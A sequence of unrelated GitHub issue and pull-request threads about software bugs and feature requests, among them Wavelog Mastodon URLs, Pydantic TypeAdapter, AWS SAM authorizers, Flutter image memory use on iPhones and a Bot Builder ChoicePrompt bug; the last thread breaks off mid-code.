When attempting to save a Mastodon URL under the profile section in Wavelog, the application results in a blank page if the full URL is entered. However, the profile section does accept a simplified version of the URL. This behavior is problematic because, in order to Toot from Wavelog, Mastodon expects the full URL, including the "DECK" path, e.g., https://mastodon.radio/deck/@vu2tum.
Steps to Reproduce:
Navigate to the profile section in Wavelog.
Enter the full Mastodon URL, e.g., https://mastodon.radio/deck/@vu2tum.
Attempt to save the URL.
Observe that the application results in a blank page.

Expected Behavior:
The full Mastodon URL, including paths like "DECK," should be accepted and saved without issue.
Actual Behavior:
The application results in a blank page when a full Mastodon URL is entered, and the URL is not saved.
Workaround:
Currently, only the simplified version of the URL is accepted, but this does not allow for proper Tooting functionality from Wavelog.
Environment:
Wavelog Version: 1.8.2
Operating System: Debian Linux
Browser: Firefox, Edge etc

Additional Information:
This issue prevents users from properly configuring their Mastodon accounts for full functionality within Wavelog.

Only unse mastodon.radio
VU2TUM @.***> schrieb am Mi., 28. Aug. 2024, 15:45:

When attempting to save a Mastodon URL under the profile section in
Wavelog, the application results in a blank page if the full URL is
entered. However, the profile section does accept a simplified version of
the URL. This behavior is problematic because, in order to Toot from
Wavelog, Mastodon expects the full URL, including the "DECK" path, e.g.,
@.***
Steps to Reproduce:
Navigate to the profile section in Wavelog.
Enter the full Mastodon URL, e.g., @.***
Attempt to save the URL.
Observe that the application results in a blank page.
Expected Behavior:
The full Mastodon URL, including paths like "DECK," should be accepted and
saved without issue.
Actual Behavior:
The application results in a blank page when a full Mastodon URL is
entered, and the URL is not saved.
Workaround:
Currently, only the simplified version of the URL is accepted, but this
does not allow for proper Tooting functionality from Wavelog.
Environment:
Wavelog Version: 1.8.2
Operating System: Debian Linux
Browser: Firefox, Edge etc
Additional Information:
This issue prevents users from properly configuring their Mastodon
accounts for full functionality within Wavelog.
image.png (view on web)
https://github.com/user-attachments/assets/2e8690a0-77ac-44db-92ee-86498df8d845
—
Reply to this email directly, view it on GitHub
https://github.com/wavelog/wavelog/issues/837, or unsubscribe
https://github.com/notifications/unsubscribe-auth/ADKN5OVCO4YSW3BVUGSYZ3DZTXH7VAVCNFSM6AAAAABNIKVNEGVHI2DSMVQWIX3LMV43ASLTON2WKOZSGQ4TEMJSG43TQMY
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>


TypeAdapter is not a class according to inspect.isclass

Initial Checks

[X] I confirm that I'm using Pydantic V2

Description
Currently, a TypeAdapter from Pydantic v2 does not satisfy inspect.isclass.
Something in these innards lead to an inability to compose TypeAdapter into pydantic models.
from typing import TypeVar, Generic, Type

from pydantic import BaseModel

T = TypeVar("T", bound=BaseModel)

class Consumer(BaseModel, Generic[T]):
    pydantic_model: Type[T]  # One cannot set this to be a TypeAdapter

Example Code
import inspect

from pydantic import BaseModel, TypeAdapter

class Item(BaseModel):
    attr: int

Items = TypeAdapter(list[Item])
assert inspect.isclass(Items), f"Items is not a class."

Python, Pydantic & OS Version
pydantic version: 2.4.2
        pydantic-core version: 2.10.1
          pydantic-core build: profile=release pgo=false
                 install path: /Users/user/code/repo/venv/lib/python3.11/site-packages/pydantic
               python version: 3.11.5 (main, Sep 12 2023, 09:45:47) [Clang 14.0.0 (clang-14<IP_ADDRESS>)]
                     platform: macOS-13.5.2-arm64-arm-64bit
             related packages: typing_extensions-4.8.0 mypy-1.7.1 pydantic-settings-2.1.0 fastapi-0.104.1

My exact use case is with langchain==0.0.340:
from langchain.output_parsers import PydanticOutputParser
from pydantic import BaseModel, TypeAdapter

class Item(BaseModel):
    attr: int

# --- Current route one has to take ---

class ItemsExtra(BaseModel):
    items: list[Item]

parser1 = PydanticOutputParser[list[Item]](pydantic_object=ItemsExtra)

# --- If TypeAdapter was allowed, I would take this route ---

parser2 = PydanticOutputParser[list[Item]](
    pydantic_object=TypeAdapter(list[Item])
)

So, TypeAdapter isn't intended to be a type like this, it is purposely an instance that exposes parsing-related methods.
If you need to use this API without modifications, can you use RootModel[<SomeType>] instead of TypeAdapter(<SomeType>)? That will be an actual type and seems like it should work.
However, I'll note that this looks to me like a shortcoming in the LangChain API — if you are using pydantic v2, I think you'd just want to rework PydanticOutputParser to be defined as:
import json
import re
from functools import cached_property
from typing import Type, TypeVar

from langchain_core.exceptions import OutputParserException
from langchain_core.output_parsers import BaseOutputParser
from pydantic import BaseModel, TypeAdapter, ValidationError

from langchain.output_parsers.format_instructions import PYDANTIC_FORMAT_INSTRUCTIONS

T = TypeVar("T", bound=BaseModel)

class PydanticOutputParser(BaseOutputParser[T]):
    """Parse an output using a pydantic model."""

    pydantic_object: Type[T]
    """The type to use Pydantic to parse."""

    @cached_property
    def adapter(self) -> TypeAdapter[T]:
        return TypeAdapter(self.pydantic_object)

    def parse(self, text: str) -> T:
        try:
            # Greedy search for 1st json candidate.
            match = re.search(
                r"\{.*\}", text.strip(), re.MULTILINE | re.IGNORECASE | re.DOTALL
            )
            json_str = ""
            if match:
                json_str = match.group()
            json_object = json.loads(json_str, strict=False)
            return self.adapter.validate_json(json_object)

        except (json.JSONDecodeError, ValidationError) as e:
            name = self.pydantic_object.__name__
            msg = f"Failed to parse {name} from completion {text}. Got: {e}"
            raise OutputParserException(msg, llm_output=text)

    def get_format_instructions(self) -> str:
        schema = self.adapter.json_schema()

        # Remove extraneous fields.
        reduced_schema = schema
        if "title" in reduced_schema:
            del reduced_schema["title"]
        if "type" in reduced_schema:
            del reduced_schema["type"]
        # Ensure json in context is well-formed with double quotes.
        schema_str = json.dumps(reduced_schema)

        return PYDANTIC_FORMAT_INSTRUCTIONS.format(schema=schema_str)

    @property
    def _type(self) -> str:
        return "pydantic"

(That's an edited version of the definition from https://api.python.langchain.com/en/latest/_modules/langchain/output_parsers/pydantic.html# which appears to be from v0.0.339rc1)


Add the possibility to rename the tabs.

Could you please add the possibility to rename tabs.
For example, if you have a lot of git repos opened it is easy to be confused.
Regards.

Thanks for the suggestion! Please make sure to search for duplicates when filing new issues. This is already being tracked by another issue on our repo - please refer to #1079 for more discussion.
/dup #1079


Update PyPi

Hi
It seems pypi package is not update since April
https://pypi.python.org/pypi/imgurpython/1.1.6
Any idea when a new version will be released ?
Thank you.

@jacobgreenleaf mentioned 22 days ago that he would push the updated version to PyPI: https://github.com/Imgur/imgurpython/pull/56

Hey, I had set up Travis but forgot to push a tagged version to trigger the deployment. See Build #9 which did the push. Closing as fixed.


Allow arbitrary file for script_dirs

Motivation
At the moment it is only possible to import local .sh and .py files via the script_dirs argument due to this condition.
It would be great to be able to import any local file or at least .yaml files for ytt.
Ideas

Add a argument called file_types to the Pipeline class
Add .yaml to the condition
Accept every file (but I don't think that this is the right way)

Add a argument called file_types to the Pipeline class

+1

I think I got it now. So [".sh", ".py"] could be the default.
+1

file_types would be independent from script_dirs?

But I think it is unlikely that we need different file_types for each script_dir, right?

The approach of @c0d1ngm0nk3y looks quite good.
However, I like the globbing approach much more and I opened #17 to get a first idea of how it could be done.


Cannot use intrinsic function result as value of DefaultAuthorizer for AWS::Serverless::Api

Description:
Cannot use intrinsic function as value of DefaultAuthorizer when attempting to parametize a template deploying AWS::Serverless::Api

Steps to reproduce the issue:

using SAM CLI, version 0.21.0
using a lambda authorizer attached to an API such as in the SAM example https://github.com/awslabs/serverless-application-model/tree/master/examples/2016-10-31/api_lambda_request_auth

This validates with SAM Validate:
AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31

Resources:

  MyApi:
    Type: AWS::Serverless::Api
    Properties:
      EndpointConfiguration: REGIONAL
      StageName: Prod
      Auth:
        DefaultAuthorizer: SAMTokenAuthorizer
        Authorizers:
          SAMTokenAuthorizer:
            FunctionArn: !GetAtt SamAuthFunction.Arn

  SamAuthFunction:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: ./auth_src
      Handler: authorizer.handler
      Runtime: nodejs8.10

attempt to make the choice of default Authorizer controlled by a parameter to the SAM template.  Add a string parameter and attempt to use !Ref or !Sub as value of DefaultAuthorizer.

This template DOES NOT VALIDATE:
AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31

Parameters:
  AuthType:
    Type: String
    Default: GuestTokenAuthorizer
    AllowedValues:
      - SAMTokenAuthorizer
      - GuestTokenAuthorizer

Resources:

  MyApi:
    Type: AWS::Serverless::Api
    Properties:
      EndpointConfiguration: REGIONAL
      StageName: Prod
      Auth:
        DefaultAuthorizer: !Ref AuthType
        Authorizers:
          SAMTokenAuthorizer:
            FunctionArn: !GetAtt SamAuthFunction.Arn
          GuestTokenAuthorizer:
            FunctionArn: !GetAtt GuestAuthInjector.Arn

  SamAuthFunction:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: ./auth_src
      Handler: authorizer.handler
      Runtime: nodejs8.10

  GuestAuthInjector:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: ./auth_src
      Handler: guest_auth.handler
      Runtime: nodejs8.10

Observed result:
I have been unable to find anything other than the string literal name of a declared Authorizer which can be used as the value for DefaultAuthorizer.
Expected result:
In order to follow SAM best practices and deploy a stack to different environments using parameters to customize behavior in dev/test/staging/prod, the Authorizer should accept values that can come from intrinsic functions.  I would like to use FindInMap to select values for authorizer based upon stack.
This also doesn't currently validate, but is the structure of what I would like to own (and I believe the spec intends to be legal)
Parameters:
  EnvType:
    Type: String
    Default: test
    AllowedValues:
      - test
      - prod

Mappings:
  Authorizers:
    test:
      name: GuestTokenAuthozer
    prod:
      name: SAMTokenAuthorizer

Resources:

  MyApi:
    Type: AWS::Serverless::Api
    Properties:
      EndpointConfiguration: REGIONAL
      StageName: Prod
      Auth:
        DefaultAuthorizer: !FindInMap [Authorizers, !Ref EnvType, name]
        Authorizers:
          SAMTokenAuthorizer:
            FunctionArn: !GetAtt SamAuthFunction.Arn
          GuestTokenAuthorizer:
            FunctionArn: !GetAtt GuestAuthInjector.Arn

@greendavegreen Thanks for bringing up this issue. We do not (cannot easily) mix CFN resources and swagger extensions in a way that would consistently work. Since DefaultAuthorizers are added to the Api swagger, we do not allow intrinsics on the field.

Closed as a duplicate of #1050


how to handle headers with colons in the value ?

How do I pass a header that has colons in the value? Or what modifications would be needed to the code to allow this?  Thanks.
bees attack -u http://no.where.com/ -H 'Authorization: Gigya uid:acKCkHLn6ReLDECVscSkYCVa64, timestamp:1474610145, signature:ldFpy4vEdWceNMbbyXDWpAnB0=, realm:09834000GUREWAP' -j -o -a 4

You need to separate each key-value pair under the header with a semicolon, like -H "Authorization: Gigya ; uid:acKCkHLn6ReLDECVscSkYCVa64 ; timestamp:1474610145"
Also I believe -H "<params>" is the last part of params. But most probably the order doesn't matter.

There are two gotchas with ":" and ";" parsing.  First, if you don't quote the whole -H string, the ';' are treated as bash command splits. Second, either ":" or ";" could be part of the signature. For example, in AWS signature signing, the signature is composed of multiple parts separated by ";".
I'd recommend a more robust parsing mechanism.
For example, ab behaves like curl allowing multiple -H entries.

[ ] _
[ ] _كلام جميل


Key selector seems to show my keys in a weird order

The Chore
Why would it do this?  WHY?

Tasks

[ ]
[ ]

Additional details / background info

Link to thread: https://vegaprotocol.slack.com/archives/C8WS7M50E/p1710242999068319


Refinements

Added a Makefile and Gemfile to make it easy to test locally using jekyll. Added a .gitignore file to ignore Ruby derived files.'
Fixed old references to trust and safety user guide content, including links to its repo.

You first need to merge back from latest to main.  Your changes conflict with changes that already have been made to latest, which will cause conflicts.

I was mistaken.  The changes already are in main and this does not conflict.


Different measurement units should also be supported.

Currently it provide mm only, Inched and foots should also be added.

Thank you for your feature request. I will change the code to do this soon.


Feat/lightbox rotate

Description & Technical Solution

Toast query param
Lightbox rotation

Checklist

[X] I have commented my code, particularly in hard-to-understand areas.
[X] Already rebased against main branch.

Screenshots
Table-Aether-Design-System.webm

📝 Changed routes:

/sandbox/table.page

(view full size)

And 1 other route:

/api/mock/users.api

Commit 894104c75d1e7f1a7ee90c936e58b9eb61f9e01e (https://design-system-moon-fc921xv1g-ppdbultimate.vercel.app).


Install Big Bang on UvA machines for Summer School

We may not have to do this if people install on their own machines.


Flutter abort issue resulted from large memory use of pictures in low-memory iPhones.

Problem description
We have been suffering from the memory issue related to flutter application for a long time, especially when there are lots of high quality pictures like commodity description.
This issue can be still reproduced in latest stable branch easily and is now a severe problem for our application where there are a lot of users who are holding an iPhone with low memory, for example iPhone 6plus.
So how can we avoid this issue in low memory iphone devices efficiently. This issue is not unique for us, but a big common problem for many flutter developers. In our real products, the situation would be more serious as we're generally using flutter in add2app form. In other words, the application contains lot of containers, like web, native and flutter, etc.
Demo Repo
I have written a pure flutter application to help reproduce it. You can get it from:
https://github.com/FlutterRepo/image_memory_issue
Reproduce procedure
It's easy to reproduce by scrolling up and down. See more by my recording:
https://www.youtube.com/watch?v=bdg5Tfm3p-I
You can see an abort at about 0:25.
Enrivonment
[✓] Flutter (Channel stable/v1.12.13+hotfix.8, v1.12.13+hotfix.8, on Mac OS X 10.15.3 19D76, locale en-CN)
    • Flutter version 1.12.13+hotfix.8 at /Users/kylewong/Codes/Flutter/alibaba-flutter/StableV1.12.13/flutter
    • Framework revision 0b8abb4724 (8 days ago), 2020-02-11 11:44:36 -0800
    • Engine revision e1e6ced81d
    • Dart version 2.7.0

[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
    • Android SDK at /Users/kylewong/Library/Android/sdk
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-29, build-tools 29.0.2
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405)
    • All Android licenses accepted.

[!] Xcode - develop for iOS and macOS (Xcode 11.3.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 11.3.1, Build version 11C504
    ! Unknown CocoaPods version installed.
        Flutter is unable to determine the installed CocoaPods's version.
        Ensure that the output of 'pod --version' contains only digits and . to be recognized by Flutter.
      To upgrade:
        sudo gem install cocoapods

[✓] Android Studio (version 3.5)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin version 43.0.1
    • Dart plugin version 191.8593
    • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405)

[✓] VS Code (version 1.42.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.8.1

[✓] Connected device (1 available)
    • KyleWong’s iPhone6 Plus •  • ios • iOS 12.4.4

@liyuqian
cc @fydx

This seems to be related with https://github.com/flutter/flutter/issues/19558, #32143, #44510, #48305, and #48775
@kangwang1988 : @dnfield and I have recently looked into a bunch of memory issues related with scrolling a list of images. Many fixes have been merged since the last stable release. Can you please try the tip-of-tree master branch and see if the crash still happens?

The relevant fixes here are specifically around scrolling.
However, if you're using lots of high quality pictures, you almost certainly want to look at using https://api.flutter.dev/flutter/painting/ResizeImage-class.html to make sure that you're not decoding the image at full quality only to display it at am uch lower resolution.

@dnfield
We have policies to resize images/qualities according to network condition, widget size, screen resolution, memory capacity, etc. However, I don't think this is not the final solution.
Is it possible for us to release images(dart&c++ size) which is not visible when necessary like low memory in iphone6 plus?

@liyuqian
Do you think the master branch has a good solution for a list of many images? If so, I can have a try using the master branch.
Also, do you know is it possible for me to check a image widget is not visible and i can release the invisible image memory when necessary?

The images should get automatically released once you're no longer refering to them, assuming they are not being held in the ImageCache.
The master branch has changes on it that should improve memory usage in lists of images, but primarily to do with scrolling.  We've also made some engine side changes that should help with more aggressively releasing memory for images that are no longer referenced.

@dnfield
However, in a long list, those images are refered. Henceforth, though they're not visible, the memory they refer to are still remain. If the user keep scrolling, the memory will always increase until abort.

@kangwang1988 as long as you use a ListView.builder (or otherwise use a lazily loaded list), the images should not be retained beyond a few at the head and tail of what's currently visible on the screen - and whatever is in the image cache.
Are you using a non-lazy listview?

Ahh I see in your repo - you're using a raw ListView.  Try switching to ListView.builder.

I have tried to use ListView.builder. But when I scroll, the occupied memory still increases a lot.

@fydx  - that is about what I would expect from a long lazily loaded list of images.  There are ways to get it down further currently:

Decrease the cache extent on your list to avoid holding on to too many leading/trailing images
Decrease the resolution at which you cache the images
Decrease the size of the image cache - but really this should be prevent the image from landing in the cache (https://github.com/flutter/flutter/issues/47380)
Prevent a user from scrolling too much. E.g. how Instagram on an iPhone works (you scroll a bit, then stop and get a loading indicator, then scroll some more, then stop and get a loading indicator, etc.).
On master, the framework will prevent images from loading if you're scrolling fast. You can control that with custom scroll physics to make it so that if the user is scrolling at all the image won't load.

I do still think #47380 could help cases like this (e.g. you have a long list of images and you don't want any or most of them to ever end up in the cache).  Otherwise, you're mostly left with decisions to make in the application layer about how to make it hard for the user to consume too much memory.
But on an iPhone, ~300mb should be fine - even on older models, you should be fine up until close to 1gb.

@dnfield
Unfortunately not. I've reimplement the list using ListView.builder , the issue remains and would abort after launch, even without any taps. I've also made a screen recording and you can see it clearly. The flutter application in release mode would crash when the memory level is about 600MB, which is a reasonable memory level to be killed by iOS.
See:
https://stackoverflow.com/questions/5887248/ios-app-maximum-memory-budget

@eseidel
The memory issue is now a blocker for us to bring flutter to more applications in Alibaba.
In the new application we're working on now, the commodity page consists lot of images(more than before we used in Xianyu) for better description. In an application implemented by native iOS/android, the memory can be managed precisely, in Flutter, the developers can't manage the memory that well and it's the biggest issue for us.
Though flutter has that many advantages claimed, if a Flutter application is easily to abort. It will prevent many developers to use it. The low memory devices in China is still in a large number, we should ensure their experience.
Please help us to resolve this pure flutter application, thx.

Update:
After I set the ImageCache to zero, the application will not abort at launch.
However, after some scrolling, it abort again.

@kangwang1988 can you describe some of the memory management you're able to do outside of flutter that is helping?

@dnfield
Are you referring to some memory management works we've done in iOS&Android?

Yes

@dnfield
I created an example with exactly the same datasources(image urls).
See it at: https://github.com/FlutterRepo/ios_image_demo
The memory footprint is very slow:

You can see that I didn't do something that special for memory use.

Also CC @mraleph
Can you have a look at this issue? Maybe there is something can be done in dart&c++ approach.

@liyuqian
Can you give a call graph how so many memory are used in this flutter case? Maybe we can find a way to break the reference when needed(low memory and not visible), and notify c++ side to release the relevant memory?

It's unlikely that Dart can help much here -this is much more likely a Skia issue.
I noticed something strange when I dump the memory of your example app.  The UIImages in there report as very small - as in 144 bytes.  It seems like Apple does something funny with image memory accounting for UIImages.  I can't seem to find the bytes anywhere in memory for them in the dump.  I also very strongly suspect that your iOS example is in fact downscaling the images more than the Flutter example (which is not downscaling them at all), but that iOS is doing it for you implicitly whereas Flutter does not.
OTOH, when Skia renders an image, we need to have the texture memory for it resident.  I'm not sure if there's any trick we could do to use the same storage backing that UIImage seems to be allowed to use - perhaps using a PlatformView or something like that for it, but that feels pretty heavy and will mess up compositing.
@chinmaygarde @brianosman might have good ideas on this.

@kangwang1988 : I've done some experiments with iPhone Xr (can't get an iPhone 6 as I'm still quarantined at home), and I think I've found the problem and the solution:

The immediate cause of OOM is that Flutter is loading too many images since the image height isn't specified, and Flutter probably treats it as 0 and loads all those big images during startup.
A quick fix would be to specify height: screenSize?.height ?? 750.0 in Image.network constructor. Notice that https://api.flutter.dev/flutter/widgets/Image/height.html suggests to specify both width and height. Such fix drops memory usage from 800MB down to less than 100MB on my iPhone Xr.
I'm pretty sure that https://github.com/flutter/engine/pull/14265 in the master branch which fixes https://github.com/flutter/flutter/issues/19558 would help your case if height isn't specified. Treating height as 0 and quickly loading all those images is very similar to quickly scrolling through a long list of large images. In our fast_scroll_large_images__memory benchmark, the fix reduces the memory usage by as much as 500MB.
One tool that could help you identify this kind of memory issue is the "allocation profile" tab in Observatory. From the screenshot below, you can see that the app somehow loads a ton of images which use a lot of external memory.

On Flutter's side, I think we should do the following optimization to avoid this kind of memory issue:

Update the width/height of Image when it's decoded, and update its visibility in the ListView. If it's hidden, release the widget and Image.
Write a performance test that loads large images without specifying height. Verify that we won't use a ton of memory when the startup fully settles.

@dnfield : do you think the above makes sense?

Ahh sure, but we're still going to see far more memory used for images in Flutter than in native iOS because iOS won't tell us how much memory it's really using for images :)
I'm not sure updating the width fo the widget when it's decoded makes sense - it's probably too late and the list view will already think it can just load the whole list's worth of images.  However, we do have another bug filed about allowing users to get image width/height before decoding.

@dnfield : can the image decoding callback trigger some kind of widget rebuild? Since we load images sequentially on the IO thread, maybe the first image's decoding callback can trigger a rebuild or re-layout on the UI thread, and subsequently cancels all later image decoding work on the IO thread.

Ah! If we use instruments to profile your demo iOS app, you'll see that scrolling brings the memory up to several hundred megs:

Is a sample run where I just scrolled a bit down the view.

@liyuqian the ListView would still see that it has plenty of room to add all the children you're asking for and eagerly instantiate them.  By the time the first image decoded and you knew its size, it's already too late.

@liyuqian
The height approach doesn't work.
After I specify height for it, when the imagecache is enabled, it will abort again at about 600MB in my iPhone6 Plus. It would easily reproduce I scroll up and down quickly.

@dnfield
I noticed that most of the memory is external memory, which objects in engine(c++ side) are retaining those memories and how can I release them forcefully when needed? (Maybe on memorywarning etc.)

@kangwang1988 - if I update your code to this:
              return Image.network(
                testImageUrls[idx],
                width: screenSize?.width ?? 750.0,
                height: 500,
                cacheWidth: screenSize?.width?.toInt() ?? 750,
                cacheHeight: 500,
                fit: BoxFit.fitWidth,
              );

The app uses less memory than the native app - and I'm fairly confident that iOS UIImage/your special image package in that app is just doing that under the hood.
I'm not sure if there's a good way for us to make that automatic, but for now it should get you where you need to be.  That's what I meant by the bullet point about cache width/height - if you don't specify it, Flutter will store the full resolution of the image (even if that resolution is much higher than you intend to display at) in memory.

With those parameters, I'm having trouble getting the app to use more than 200mb no matter how much I scroll (I'm also testing on master, which avoids decoding images if you scroll too fast).

Even without those parameters though, I can't get your sample app (using just height and width, not cacheHeight and cacheWidth) to og much over 250mb (which is only slightly higher than your native demo).  Again,t his is on master - I'm sure the situation is worse on stable.

After I specify height for it, when the imagecache is enabled, it will abort again at about 600MB in my iPhone6 Plus. It would easily reproduce I scroll up and down quickly.

@kangwang1988 : I guess that you're not using master branch because it crashes easily if you scroll up and down quickly. Please ensure that the fix in https://github.com/flutter/engine/pull/14265 is included in the Flutter version that you're testing.

@liyuqian
Got it. All the results I given above is using Flutter version 1.12.13+hotfix.8
I will try using the commit you mentioned.

@liyuqian
After I cherry-pick the commit: https://github.com/flutter/engine/pull/14265/commits/212fbbaf82501ece966ecc1919596dc03369dd66
The memory performance is improved, though it could rise to about 300MB+ when scrolling fast, it would reduce to about 200MB.
I will see if this could also show some improvements in our real application.
Thanks.

For scrolling you also need https://github.com/flutter/flutter/pull/48536

@kangwang1988 : it seems that there are no longer OOM issues with the latest Flutter version? If so, may I close this and mark this as a duplicate of  https://github.com/flutter/flutter/issues/19558 and https://github.com/flutter/flutter/issues/48775 ?

@liyuqian
I would like to keep this issue open until we can verify the issue has been reduced to an acceptable level using the appstore applications. We're about to distribute an application in appstore next week using flutterv1.12.13(With Cherry-picks you recommended)

@liyuqian @dnfield
The business developers think the memory performance they acquired in the development phase using release mode is acceptable now.
So I'm closing this issue now. If there is abnormal apm reports later, I'll update this issue.,
Thanks for all the efforts you've done.
Best

Still having this issue 800mb+ on an iPhone 7plus in profile mode. This is not workable for us

@vanlooverenkoen - there were several suggestions in this issue for how to deal with this sort of problem. If you're having a different issue, you could consider filing a new bug for it with a reproduction. Feel free to tag me.

@dnfield I already did. https://github.com/flutter/flutter/issues/65834


improving CI workflow

This PR partially addresses #659 by modifying our workflow to expect a Docker image that is running as root by default.

Note: before merging this I would like to resolve #662 and update our test image to match the new install process.


MINOR: make JoinGroupRequest and LeaveGroupRequest 'Reason' field ignorable

newer clients see errors when including reason in JoinGroupRequest to older broker:
Attempted to write a non-default reason at version 7.

make reason field in JoinGroupRequest and LeaveGroupRequest ignorable.
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

I merged the PR to trunk to fix the issue. We can follow up with another PR to add a unit test.


python311Packages.python-kasa: 0.6.0 -> <IP_ADDRESS>

Diff: https://github.com/python-kasa/python-kasa/compare/refs/tags/0.6.0...<IP_ADDRESS>
Changelog: https://github.com/python-kasa/python-kasa/blob/<IP_ADDRESS>/CHANGELOG.md
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 283253 run on x86_64-linux 1

2 packages built:

python311Packages.python-kasa
python311Packages.python-kasa.dist


Gnome 3.20 Limited User Management Functionality

Issue description
Unable to set a users picture or name in the gnome settings users page
Steps to reproduce
Install gnome 3.20, try to change a users display name or picture
Technical details

System: 16.09pre88063.43da8b1 (Flounder)
Nix version: 1.11.2
Nixpkgs version: "16.09pre88063.43da8b1"

The picture can't be changed because of this error
(gnome-control-center:16443): AccountsService-WARNING **: SetIconFile call failed: GDBus.Error:org.freedesktop.Accounts.Error.Failed: reading file '/nix/store/bgf5b30jxd4czq4cgsz8hb78p4v9nh0h-gnome-control-center-3.18.2/share/pixmaps/faces/energy-arc.jpg' failed: Failed to execute child process "/bin/cat" (No such file or directory)

User name change failed because of this error
(gnome-control-center:16443): AccountsService-WARNING **: SetRealName call failed: GDBus.Error:org.freedesktop.Accounts.Error.Failed: running '/usr/sbin/usermod' failed: Failed to execute child process "/usr/sbin/usermod" (No such file or directory)

I imagine fixing this would require sed-patching AccountService sources to fix those paths.
cc @lethalman

Duplicate of #10025


Issue with ChoicePrompt

The issue is simple to replicate:

Create a ChoicePrompt in C# Bot Builder V4.
Fill the List with the following values:

"Word1, Word2 Word3 Word4"
"Word1 Word2, Word3 Word4"
"Word1 Word2 Word3, Word4"

PD: If you see with detail is almost the same string a comma makes the difference.

The issue is able to reproduce when you pick the Item 2 or 3 of the List, since always is returning the Item 1.

This scenario is able to reproduce in the SDK: 4.0.1-preview and is not present if more words are different in the List e. g. if I create a List but with a Guid.NewGuid().ToString() values the choice prompt is working properly.

Regards,
RC

Can you clarify the issue you are having?
The default tokenizer splits the utterance based on punctuation and some emojis. Given that, I'm not sure how much sense it makes having punctuation in the choice data itself at least for the default case.
You can replace the tokenizer and still use the bulk of the choice prompt machinery.

Sure @johnataylor, sorry for the delay, I would like to clarify I'm not using LUIS, my scenario was very simple, I request the fullname in a dialog prompt and use a custom logic to get the multiple combinations to let the user pick the correct name and lastname.
e.g.
Fullname:
Chris Alexander Redfield Valentine
Combinations:
Chris, Alexander Redfield Valentine
Chris Alexander, Redfield Valentine
Chris Alexander Redfield, Valentine
Dialogs.Add("ProfileDialog",
                new WaterfallStep[]
                {
                    AskFullnameDialog,
                    GetFullnameDialog,
                    ListCombinationsDialog,
                    DecomposeNameLastnameDialog,
                    async (dc, args, next) =>
                    {
                        //ending dialog
                        var userState = UserState<UserState>.Get(dc.Context);
                        userState.Profile.Fullname = dc.ActiveDialog.State["fullname"].ToString();
                        userState.Profile.Name = dc.ActiveDialog.State["name"].ToString();
                        userState.Profile.Lastname = dc.ActiveDialog.State["lastname"].ToString();
                        await dc.End(dc.ActiveDialog.State);
                    }
                }
            );
List<(string name, string lastname)> combinations = NameHelper.Combinations(dc.ActiveDialog.State["fullname"].ToString());

List<Choice> choices = new List<Choice>();
foreach ((string n, string l) in combinations)
{
     StringBuilder sb = new StringBuilder();
     sb.Append($"{n},{l}");
     choices.Add(new Choice { Value = $"{sb.ToString()}" });
}
 ChoicePromptOptions choicePromptOptions = new ChoicePromptOptions { Choices = choices, RetryPromptString = $"{message}" };

var message ="Just pick a numeric option";
 await dc.Prompt("ListCombinationsDialog", $"{message}", choicePromptOptions);

private async Task DecomposeNameLastnameDialog(DialogContext dc, object result, SkipStepFunction next)
        {
            var choice = (result as ChoiceResult).Value.Value;
}

The issue is presented when I received the ChoiceResult in the next dialog when I pick the Item 2 or 3 of the Choices, since always is returning the Item 1.
Please let me know if this comment helps.
Thanks,
RC

@rcervantes I have been trying the following code and this appears to work correctly now. But I should be clear, I'm working on the master branch which is somewhat ahead of the published packages on NuGet. And we have slightly changed the API but its fairly minor. Anyhow here is the code I tried:
        private static WaterfallDialog CreateWaterfall2()
        {
            return new WaterfallDialog("test-waterfall", new WaterfallStep[] {
                WaterfallStep21,
                WaterfallStep22,
            });
        }

        private static async Task<DialogTurnResult> WaterfallStep21(DialogContext dc, WaterfallStepContext stepContext)
        {
            // we are only interested in Message activities - any other type of activity we will immediately complete teh waterfall
            if (dc.Context.Activity.Type != ActivityTypes.Message)
            {
                return await dc.EndAsync();
            }

            var choices = new List<Choice>
            {
                new Choice { Value = "Chris, Alexander Redfield Valentine" },
                new Choice { Value = "Chris Alexander, Redfield Valentine" },
                new Choice { Value = "Chris Alexander Redfield, Valentine" },
            };

            var message = "Just pick a numeric option";

            var choicePromptOptions = new PromptOptions
            {
                Choices = choices,
                Prompt = MessageFactory.Text($"{message}"),
                RetryPrompt = MessageFactory.Text($"{message}")
            };

            return await dc.PromptAsync("choice", choicePromptOptions);
        }

        private static async Task<DialogTurnResult> WaterfallStep22(DialogContext dc, WaterfallStepContext stepContext)
        {
            // step context represents values from previous (waterfall) step - in this case the first number
            if (stepContext.Values != null)
            {
